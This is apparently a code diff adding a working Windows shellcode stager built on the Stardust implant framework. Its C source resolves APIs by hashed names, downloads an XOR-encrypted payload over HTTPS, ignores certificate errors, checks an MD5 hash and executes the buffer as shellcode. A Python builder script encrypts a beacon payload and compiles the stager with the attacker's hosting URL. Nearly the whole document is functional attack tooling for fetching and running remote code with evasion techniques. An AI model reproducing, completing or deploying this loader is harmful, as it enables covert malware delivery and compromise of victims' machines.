||||
*
|
||||
* @param Hashed
|
||||
* is the Buffer a hash value
|
||||
*
|
||||
* @return
|
||||
* module base pointer
|
||||
*/
|
||||
FUNC PVOID LdrModulePeb(
|
||||
_In_ ULONG Hash
|
||||
) {
|
||||
PLDR_DATA_TABLE_ENTRY Data = { 0 };
|
||||
PLIST_ENTRY Head = { 0 };
|
||||
PLIST_ENTRY Entry = { 0 };
|
||||
|
||||
Head = & NtCurrentPeb()->Ldr->InLoadOrderModuleList;
|
||||
Entry = Head->Flink;
|
||||
|
||||
for ( ; Head != Entry ; Entry = Entry->Flink ) {
|
||||
Data = C_PTR( Entry );
|
||||
|
||||
if ( HashString( Data->BaseDllName.Buffer, Data->BaseDllName.Length ) == Hash ) {
|
||||
return Data->DllBase;
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief
|
||||
* retrieve image header
|
||||
*
|
||||
* @param Image
|
||||
* image base pointer to retrieve header from
|
||||
*
|
||||
* @return
|
||||
* pointer to Nt Header
|
||||
*/
|
||||
FUNC PIMAGE_NT_HEADERS LdrpImageHeader(
|
||||
_In_ PVOID Image
|
||||
) {
|
||||
PIMAGE_DOS_HEADER DosHeader = { 0 };
|
||||
PIMAGE_NT_HEADERS NtHeader = { 0 };
|
||||
|
||||
DosHeader = C_PTR( Image );
|
||||
|
||||
if ( DosHeader->e_magic != IMAGE_DOS_SIGNATURE ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
NtHeader = C_PTR( U_PTR( Image ) + DosHeader->e_lfanew );
|
||||
|
||||
if ( NtHeader->Signature != IMAGE_NT_SIGNATURE ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return NtHeader;
|
||||
}
|
||||
|
||||
FUNC PVOID LdrFunction(
|
||||
_In_ PVOID Library,
|
||||
_In_ ULONG Function
|
||||
) {
|
||||
PVOID Address = { 0 };
|
||||
PIMAGE_NT_HEADERS NtHeader = { 0 };
|
||||
PIMAGE_EXPORT_DIRECTORY ExpDir = { 0 };
|
||||
SIZE_T ExpDirSize = { 0 };
|
||||
PDWORD AddrNames = { 0 };
|
||||
PDWORD AddrFuncs = { 0 };
|
||||
PWORD AddrOrdns = { 0 };
|
||||
PCHAR FuncName = { 0 };
|
||||
|
||||
//
|
||||
// sanity check arguments
|
||||
//
|
||||
if ( ! Library || ! Function ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
//
|
||||
// retrieve header of library
|
||||
//
|
||||
if ( ! ( NtHeader = LdrpImageHeader( Library ) ) ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
//
|
||||
// parse the header export address table
|
||||
//
|
||||
ExpDir = C_PTR( Library + NtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress );
|
||||
ExpDirSize = NtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].Size;
|
||||
AddrNames = C_PTR( Library + ExpDir->AddressOfNames );
|
||||
AddrFuncs = C_PTR( Library + ExpDir->AddressOfFunctions );
|
||||
AddrOrdns = C_PTR( Library + ExpDir->AddressOfNameOrdinals );
|
||||
|
||||
//
|
||||
// iterate over export address table director
|
||||
//
|
||||
for ( DWORD i = 0; i < ExpDir->NumberOfNames; i++ ) {
|
||||
//
|
||||
// retrieve function name
|
||||
//
|
||||
FuncName = C_PTR( U_PTR( Library ) + AddrNames[ i ] );
|
||||
|
||||
//
|
||||
// hash function name from Iat and
|
||||
// check the function name is what we are searching for.
|
||||
// if not found keep searching.
|
||||
//
|
||||
if ( HashString( FuncName, 0 ) != Function ) {
|
||||
continue;
|
||||
}
|
||||
|
||||
//
|
||||
// resolve function pointer
|
||||
//
|
||||
Address = C_PTR( U_PTR( Library ) + AddrFuncs[ AddrOrdns[ i ] ] );
|
||||
|
||||
//
|
||||
// check if function is a forwarded function
|
||||
//
|
||||
if ( ( U_PTR( Address ) >= U_PTR( ExpDir ) ) &&
|
||||
( U_PTR( Address ) < U_PTR( ExpDir ) + ExpDirSize )
|
||||
) {
|
||||
//
|
||||
// TODO: need to add support for forwarded functions
|
||||
//
|
||||
__debugbreak();
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
return Address;
|
||||
}
|
||||
@@ -0,0 +1,218 @@
|
||||
#include <Common.h>
|
||||
#include <Constexpr.h>
|
||||
|
||||
FUNC VOID Xor (
|
||||
_In_ PCHAR bin,
|
||||
_In_ int len
|
||||
) {
|
||||
STARDUST_INSTANCE
|
||||
|
||||
int i;
|
||||
int keyLength = Instance()->Win32.strlen(MD5HASH);
|
||||
char key[] = MD5HASH;
|
||||
|
||||
for( i = 0 ; i < len ; i++ )
|
||||
{
|
||||
bin[i]=bin[i]^key[i%keyLength];
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
FUNC VOID Main(
|
||||
_In_ PVOID Param
|
||||
) {
|
||||
STARDUST_INSTANCE
|
||||
|
||||
//
|
||||
// resolve kernel32.dll related functions
|
||||
//
|
||||
if ( ( Instance()->Modules.Kernel32 = LdrModulePeb( H_MODULE_KERNEL32 ) ) ) {
|
||||
if ( ! ( Instance()->Win32.LoadLibraryW = LdrFunction( Instance()->Modules.Kernel32, HASH_STR( "LoadLibraryW" ) ) ) ||
|
||||
! ( Instance()->Win32.VirtualAlloc = LdrFunction( Instance()->Modules.Kernel32, HASH_STR( "VirtualAlloc" ) ) ) ||
|
||||
! ( Instance()->Win32.VirtualProtect = LdrFunction( Instance()->Modules.Kernel32, HASH_STR( "VirtualProtect" ) ) ) ||
|
||||
! ( Instance()->Win32.VirtualFree = LdrFunction( Instance()->Modules.Kernel32, HASH_STR( "VirtualFree" ) ) ) ||
|
||||
! ( Instance()->Win32.GetLastError = LdrFunction( Instance()->Modules.Kernel32, HASH_STR( "GetLastError" ) ) ) ) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
//
|
||||
// resolve user32.dll related functions
|
||||
//
|
||||
if ( ( Instance()->Modules.User32 = Instance()->Win32.LoadLibraryW( L"User32" ) ) ) {
|
||||
if ( ! ( Instance()->Win32.MessageBoxA = LdrFunction( Instance()->Modules.User32, HASH_STR( "MessageBoxA" ) ) ) ) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
//
|
||||
// resolve Msvcrt.dll related functions
|
||||
//
|
||||
if ( ( Instance()->Modules.Msvcrt = Instance()->Win32.LoadLibraryW( L"Msvcrt" ) ) ) {
|
||||
if ( ! ( Instance()->Win32.strlen = LdrFunction( Instance()->Modules.Msvcrt, HASH_STR( "strlen" ) ) ) ||
|
||||
! ( Instance()->Win32.strcmp = LdrFunction( Instance()->Modules.Msvcrt, HASH_STR( "strcmp" ) ) ) ||
|
||||
! ( Instance()->Win32.calloc = LdrFunction( Instance()->Modules.Msvcrt, HASH_STR( "calloc" ) ) ) ||
|
||||
! ( Instance()->Win32.memset = LdrFunction( Instance()->Modules.Msvcrt, HASH_STR( "memset" ) ) ) ||
|
||||
! ( Instance()->Win32.free = LdrFunction( Instance()->Modules.Msvcrt, HASH_STR( "free" ) ) ) ||
|
||||
! ( Instance()->Win32.sprintf = LdrFunction( Instance()->Modules.Msvcrt, HASH_STR( "sprintf" ) ) ) ) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
//
|
||||
// resolve wininet.dll related functions
|
||||
//
|
||||
if ( ( Instance()->Modules.Wininet = Instance()->Win32.LoadLibraryW( L"wininet" ) ) ) {
|
||||
if ( ! ( Instance()->Win32.InternetOpenA = LdrFunction( Instance()->Modules.Wininet, HASH_STR( "InternetOpenA" ) ) ) ||
|
||||
! ( Instance()->Win32.InternetConnectA = LdrFunction( Instance()->Modules.Wininet, HASH_STR( "InternetConnectA" ) ) ) ||
|
||||
! ( Instance()->Win32.HttpOpenRequestA = LdrFunction( Instance()->Modules.Wininet, HASH_STR( "HttpOpenRequestA" ) ) ) ||
|
||||
! ( Instance()->Win32.HttpSendRequestA = LdrFunction( Instance()->Modules.Wininet, HASH_STR( "HttpSendRequestA" ) ) ) ||
|
||||
! ( Instance()->Win32.HttpQueryInfoA = LdrFunction( Instance()->Modules.Wininet, HASH_STR( "HttpQueryInfoA" ) ) ) ||
|
||||
! ( Instance()->Win32.InternetQueryOption = LdrFunction( Instance()->Modules.Wininet, HASH_STR( "InternetQueryOptionA" ) ) ) ||
|
||||
! ( Instance()->Win32.InternetSetOption = LdrFunction( Instance()->Modules.Wininet, HASH_STR( "InternetSetOptionA" ) ) ) ||
|
||||
! ( Instance()->Win32.InternetCloseHandle = LdrFunction( Instance()->Modules.Wininet, HASH_STR( "InternetCloseHandle" ) ) ) ||
|
||||
! ( Instance()->Win32.InternetReadFile = LdrFunction( Instance()->Modules.Wininet, HASH_STR( "InternetReadFile" ) ) ) ) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
//
|
||||
// resolve advapi.dll related functions
|
||||
//
|
||||
if ( ( Instance()->Modules.Advapi32 = Instance()->Win32.LoadLibraryW( L"advapi32" ) ) ) {
|
||||
if ( ! ( Instance()->Win32.CryptAcquireContextA = LdrFunction( Instance()->Modules.Advapi32, HASH_STR( "CryptAcquireContextA" ) ) ) ||
|
||||
! ( Instance()->Win32.CryptCreateHash = LdrFunction( Instance()->Modules.Advapi32, HASH_STR( "CryptCreateHash" ) ) ) ||
|
||||
! ( Instance()->Win32.CryptHashData = LdrFunction( Instance()->Modules.Advapi32, HASH_STR( "CryptHashData" ) ) ) ||
|
||||
! ( Instance()->Win32.CryptGetHashParam = LdrFunction( Instance()->Modules.Advapi32, HASH_STR( "CryptGetHashParam" ) ) ) ||
|
||||
! ( Instance()->Win32.CryptDestroyHash = LdrFunction( Instance()->Modules.Advapi32, HASH_STR( "CryptDestroyHash" ) ) ) ||
|
||||
! ( Instance()->Win32.CryptReleaseContext = LdrFunction( Instance()->Modules.Advapi32, HASH_STR( "CryptReleaseContext" ) ) ) ) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// Web
|
||||
HINTERNET hInternet = NULL;
|
||||
HINTERNET hConnect = NULL;
|
||||
HINTERNET hRequest = NULL;
|
||||
PCHAR useragent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36";
|
||||
PCSTR acceptTypes[] = { "*/*", NULL };
|
||||
DWORD dwBufLen = 0;
|
||||
DWORD dwSize = sizeof(DWORD);
|
||||
DWORD dwBytesRead = -1;
|
||||
BOOL bKeepReading = TRUE;
|
||||
PVOID pBuffer = NULL;
|
||||
DWORD dwFlags;
|
||||
DWORD dwFlagsLen = sizeof(dwFlags);
|
||||
|
||||
// Crypto
|
||||
HCRYPTPROV hProv = 0;
|
||||
HCRYPTHASH hHash = 0;
|
||||
BOOL bAcquireSuccess = FALSE;
|
||||
BOOL bCreateSuccess = FALSE;
|
||||
BYTE bRawHash[MD5LEN];
|
||||
DWORD dwHashLen = MD5LEN;
|
||||
CHAR charset[] = "0123456789abcdef";
|
||||
PCHAR md5 = NULL;
|
||||
int iMatch = -1;
|
||||
|
||||
// Initialize WinINet
|
||||
if ( ! ( hInternet = Instance()->Win32.InternetOpenA( useragent, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0 ) ) )
|
||||
goto cleanup;
|
||||
|
||||
// Connect to site
|
||||
if ( ! ( hConnect = Instance()->Win32.InternetConnectA( hInternet, URL, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, (DWORD_PTR)NULL ) ) )
|
||||
goto cleanup;
|
||||
|
||||
// Create request
|
||||
if ( ! ( hRequest = Instance()->Win32.HttpOpenRequestA( hConnect, "GET", URI, NULL, NULL, acceptTypes, INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE, 0 ) ) )
|
||||
goto cleanup;
|
||||
|
||||
// Send request
|
||||
if ( ! ( Instance()->Win32.HttpSendRequestA( hRequest, NULL, 0, NULL, NULL ) ) )
|
||||
{
|
||||
// If request fails due to invalid CA, set internet options to ignore unknown, invalid, or out of date certs
|
||||
if ( Instance()->Win32.GetLastError() == ERROR_INTERNET_INVALID_CA )
|
||||
{
|
||||
Instance()->Win32.InternetQueryOptionA( hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, &dwFlagsLen );
|
||||
dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID;
|
||||
Instance()->Win32.InternetSetOptionA( hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof ( dwFlags ) );
|
||||
|
||||
// Retry request
|
||||
if ( ! ( Instance()->Win32.HttpSendRequestA( hRequest, NULL, 0, NULL, NULL ) ) )
|
||||
goto cleanup;
|
||||
}
|
||||
else
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Retrieve length of response
|
||||
if ( ! ( Instance()->Win32.HttpQueryInfoA( hRequest, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER , &dwBufLen, &dwSize, NULL ) ) )
|
||||
goto cleanup;
|
||||
|
||||
// Allocate buffer
|
||||
if ( ! ( pBuffer = Instance()->Win32.VirtualAlloc( NULL, dwBufLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ) ) )
|
||||
goto cleanup;
|
||||
|
||||
// Read payload
|
||||
while (bKeepReading && dwBytesRead != 0) {
|
||||
bKeepReading = Instance()->Win32.InternetReadFile( hRequest, pBuffer, dwBufLen, &dwBytesRead );
|
||||
}
|
||||
|
||||
// XOR decrypt payload
|
||||
Xor( pBuffer, dwBufLen );
|
||||
|
||||
// Check MD5 hash
|
||||
if ( bAcquireSuccess = Instance()->Win32.CryptAcquireContext( &hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT ) )
|
||||
if ( bCreateSuccess = Instance()->Win32.CryptCreateHash( hProv, CALG_MD5, 0, 0, &hHash ) )
|
||||
if ( Instance()->Win32.CryptHashData( hHash, pBuffer, dwBufLen, 0 ) )
|
||||
if ( Instance()->Win32.CryptGetHashParam( hHash, HP_HASHVAL, bRawHash, &dwHashLen, 0 ) )
|
||||
{
|
||||
// Assemble final hash
|
||||
md5 = Instance()->Win32.calloc(dwHashLen * 2, sizeof(char));
|
||||
for (DWORD i = 0; i < dwHashLen; i++)
|
||||
Instance()->Win32.sprintf(&md5[i * 2], "%c%c", charset[bRawHash[i] >> 4], charset[bRawHash[i] & 0xf]);
|
||||
}
|
||||
|
||||
cleanup:
|
||||
// Close internet handles
|
||||
if (hInternet)
|
||||
Instance()->Win32.InternetCloseHandle(hInternet);
|
||||
if (hConnect)
|
||||
Instance()->Win32.InternetCloseHandle(hInternet);
|
||||
if (hRequest)
|
||||
Instance()->Win32.InternetCloseHandle(hInternet);
|
||||
|
||||
// Clean up crypto
|
||||
if (bAcquireSuccess)
|
||||
Instance()->Win32.CryptReleaseContext(hProv, 0);
|
||||
if (bCreateSuccess)
|
||||
Instance()->Win32.CryptDestroyHash(hHash);
|
||||
|
||||
// If a hash was generated
|
||||
if (md5)
|
||||
{
|
||||
// Compare hardcoded MD5 sum against downloaded data
|
||||
iMatch = Instance()->Win32.strcmp(md5, MD5HASH);
|
||||
|
||||
// Wipe + free buffer
|
||||
Instance()->Win32.memset(md5, 0, dwHashLen * 2);
|
||||
Instance()->Win32.free(md5);
|
||||
|
||||
// If hashes match spawn shellcode
|
||||
if ( iMatch == 0)
|
||||
{
|
||||
DWORD dwOldProtect;
|
||||
Instance()->Win32.VirtualProtect(pBuffer, dwBufLen, PAGE_EXECUTE_READ, &dwOldProtect);
|
||||
(*(int(*)()) pBuffer)();
|
||||
}
|
||||
// Otherwise wipe buffer
|
||||
else
|
||||
{
|
||||
Instance()->Win32.memset(pBuffer, 0, dwBufLen);
|
||||
Instance()->Win32.VirtualFree(pBuffer, 9, MEM_RELEASE);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,83 @@
|
||||
#include <Common.h>
|
||||
#include <Constexpr.h>
|
||||
|
||||
ST_GLOBAL PVOID __Instance = C_PTR( 'rdp5' );
|
||||
|
||||
EXTERN_C FUNC VOID PreMain(
|
||||
PVOID Param
|
||||
) {
|
||||
INSTANCE Stardust = { 0 };
|
||||
PVOID Heap = { 0 };
|
||||
PVOID MmAddr = { 0 };
|
||||
SIZE_T MmSize = { 0 };
|
||||
ULONG Protect = { 0 };
|
||||
|
||||
MmZero( & Stardust, sizeof( Stardust ) );
|
||||
|
||||
//
|
||||
// get the process heap handle from Peb
|
||||
//
|
||||
Heap = NtCurrentPeb()->ProcessHeap;
|
||||
|
||||
//
|
||||
// get the base address of the current implant in memory and the end.
|
||||
// subtract the implant end address with the start address you will
|
||||
// get the size of the implant in memory
|
||||
//
|
||||
Stardust.Base.Buffer = StRipStart();
|
||||
Stardust.Base.Length = U_PTR( StRipEnd() ) - U_PTR( Stardust.Base.Buffer );
|
||||
|
||||
//
|
||||
// get the offset and address of our global instance structure
|
||||
//
|
||||
MmAddr = Stardust.Base.Buffer + InstanceOffset();
|
||||
MmSize = sizeof( PVOID );
|
||||
|
||||
//
|
||||
// resolve ntdll!RtlAllocateHeap and ntdll!NtProtectVirtualMemory for
|
||||
// updating/patching the Instance in the current memory
|
||||
//
|
||||
if ( ( Stardust.Modules.Ntdll = LdrModulePeb( H_MODULE_NTDLL ) ) ) {
|
||||
if ( ! ( Stardust.Win32.RtlAllocateHeap = LdrFunction( Stardust.Modules.Ntdll, HASH_STR( "RtlAllocateHeap" ) ) ) ||
|
||||
! ( Stardust.Win32.NtProtectVirtualMemory = LdrFunction( Stardust.Modules.Ntdll, HASH_STR( "NtProtectVirtualMemory" ) ) )
|
||||
) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
//
|
||||
// change the protection of the .global section page to RW
|
||||
// to be able to write the allocated instance heap address
|
||||
//
|
||||
if ( ! NT_SUCCESS( Stardust.Win32.NtProtectVirtualMemory(
|
||||
NtCurrentProcess(),
|
||||
& MmAddr,
|
||||
& MmSize,
|
||||
PAGE_READWRITE,
|
||||
& Protect
|
||||
) ) ) {
|
||||
return;
|
||||
}
|
||||
|
||||
//
|
||||
// assign heap address into the RW memory page
|
||||
//
|
||||
if ( ! ( C_DEF( MmAddr ) = Stardust.Win32.RtlAllocateHeap( Heap, HEAP_ZERO_MEMORY, sizeof( INSTANCE ) ) ) ) {
|
||||
return;
|
||||
}
|
||||
|
||||
//
|
||||
// copy the local instance into the heap,
|
||||
// zero out the instance from stack and
|
||||
// remove RtRipEnd code/instructions as
|
||||
// they are not needed anymore
|
||||
//
|
||||
MmCopy( C_DEF( MmAddr ), &Stardust, sizeof( INSTANCE ) );
|
||||
MmZero( & Stardust, sizeof( INSTANCE ) );
|
||||
MmZero( C_PTR( U_PTR( MmAddr ) + sizeof( PVOID ) ), 0x18 );
|
||||
|
||||
//
|
||||
// now execute the implant entrypoint
|
||||
//
|
||||
Main( Param );
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
#include <Common.h>
|
||||
|
||||
/*!
|
||||
* @brief
|
||||
* Hashing data
|
||||
*
|
||||
* @param String
|
||||
* Data/String to hash
|
||||
*
|
||||
* @param Length
|
||||
* size of data/string to hash.
|
||||
* if 0 then hash data til null terminator is found.
|
||||
*
|
||||
* @return
|
||||
* hash of specified data/string
|
||||
*/
|
||||
FUNC ULONG HashString(
|
||||
_In_ PVOID String,
|
||||
_In_ SIZE_T Length
|
||||
) {
|
||||
ULONG Hash = { 0 };
|
||||
PUCHAR Ptr = { 0 };
|
||||
UCHAR Char = { 0 };
|
||||
|
||||
if ( ! String ) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
Hash = H_MAGIC_KEY;
|
||||
Ptr = ( ( PUCHAR ) String );
|
||||
|
||||
do {
|
||||
Char = *Ptr;
|
||||
|
||||
if ( ! Length ) {
|
||||
if ( ! *Ptr ) break;
|
||||
} else {
|
||||
if ( U_PTR( Ptr - U_PTR( String ) ) >= Length ) break;
|
||||
if ( !*Ptr ) ++Ptr;
|
||||
}
|
||||
|
||||
if ( Char >= 'a' ) {
|
||||
Char -= 0x20;
|
||||
}
|
||||
|
||||
Hash = ( ( Hash << 5 ) + Hash ) + Char;
|
||||
|
||||
++Ptr;
|
||||
} while ( TRUE );
|
||||
|
||||
return Hash;
|
||||
}
|
||||
Executable
+95
@@ -0,0 +1,95 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import sys
|
||||
import os
|
||||
import hashlib
|
||||
import subprocess
|
||||
from urllib.parse import urlparse
|
||||
|
||||
def xor(binary_blob, key):
|
||||
# Convert the key to bytes
|
||||
key_bytes = key.encode()
|
||||
|
||||
# Perform XOR encryption
|
||||
encrypted = bytearray()
|
||||
key_length = len(key_bytes)
|
||||
|
||||
for i, byte in enumerate(binary_blob):
|
||||
# XOR the byte with the corresponding byte from the key (cyclically)
|
||||
encrypted.append(byte ^ key_bytes[i % key_length])
|
||||
|
||||
return bytes(encrypted)
|
||||
|
||||
# Validate args
|
||||
if len(sys.argv) < 3:
|
||||
print("Usage: ./secure_stager.py </path/to/raw/file> <HTTPS url that stage will be hosted at>")
|
||||
print("Example: ./secure_stager.py /home/kali/beacon_x64.bin https://www.myhostingdomain.com/aboutus")
|
||||
sys.exit()
|
||||
|
||||
# Set working directory to this scripts location
|
||||
os.chdir(os.path.dirname(os.path.abspath(__file__)))
|
||||
|
||||
# Grab path that shellcode was saved to
|
||||
outdir = os.path.dirname(sys.argv[1])
|
||||
if not outdir:
|
||||
outdir = "."
|
||||
|
||||
# Validate and parse URL
|
||||
url = urlparse(sys.argv[2])
|
||||
if not all([url.scheme, url.netloc, url.path]):
|
||||
print("[-] Invalid URL supplied! Example: https://yourhostingsite.com/query.txt")
|
||||
sys.exit()
|
||||
elif url.scheme != "https":
|
||||
print("[-] Secure stager only supports https connections!")
|
||||
sys.exit()
|
||||
|
||||
# Read in raw payload
|
||||
try:
|
||||
with open(sys.argv[1], mode='rb') as file: # b is important -> binary
|
||||
stage = file.read()
|
||||
except FileNotFoundError:
|
||||
print(f"Cannot locate {sys.argv[1]}.")
|
||||
sys.exit()
|
||||
|
||||
# Set filename vars to be used throughout the rest of program
|
||||
original_stage = f"{outdir}{url.path}_original"
|
||||
enc_stage = f"{outdir}{url.path}"
|
||||
stager = f"{outdir}{url.path}_stager.bin"
|
||||
|
||||
# Rename original raw payload
|
||||
os.rename(sys.argv[1], original_stage)
|
||||
|
||||
# Calculate MD5 hash of raw payload
|
||||
stage_md5 = hashlib.md5(stage).hexdigest()
|
||||
|
||||
# XOR raw payload with md5 hash
|
||||
xor_stage = xor(stage, stage_md5)
|
||||
|
||||
# Write xor'd payload to disk
|
||||
with open(enc_stage, mode='wb') as file:
|
||||
file.write(xor_stage)
|
||||
|
||||
# Write config file
|
||||
with open("Stardust/include/Config.h", mode ='w') as file:
|
||||
file.write(f"#define MD5HASH \"{stage_md5}\"\n")
|
||||
file.write(f"#define URL \"{url.netloc}\"\n")
|
||||
file.write(f"#define URI \"{url.path}\"")
|
||||
|
||||
# Recompile Stardust
|
||||
# Call in loop because sometimes compilation fails due to race condition
|
||||
while True:
|
||||
try:
|
||||
build_ret = subprocess.run(["make", "-C", "Stardust"], capture_output=True, text=True, check=True)
|
||||
break
|
||||
except subprocess.CalledProcessError:
|
||||
pass
|
||||
|
||||
# Rename stager
|
||||
os.rename("Stardust/bin/stardust.x64.bin", stager)
|
||||
|
||||
# Print info
|
||||
print("[SECURE STAGER]")
|
||||
print(f"Original payload hash: {stage_md5}")
|
||||
print(f"Original payload renamed to {original_stage}")
|
||||
print(f"Encrypted payload saved as {enc_stage} | Serve this file at {sys.argv[2]}")
|
||||
print(f"Secure stager generated and saved as {stager}")
|
||||
Reference in New Issue
Block a user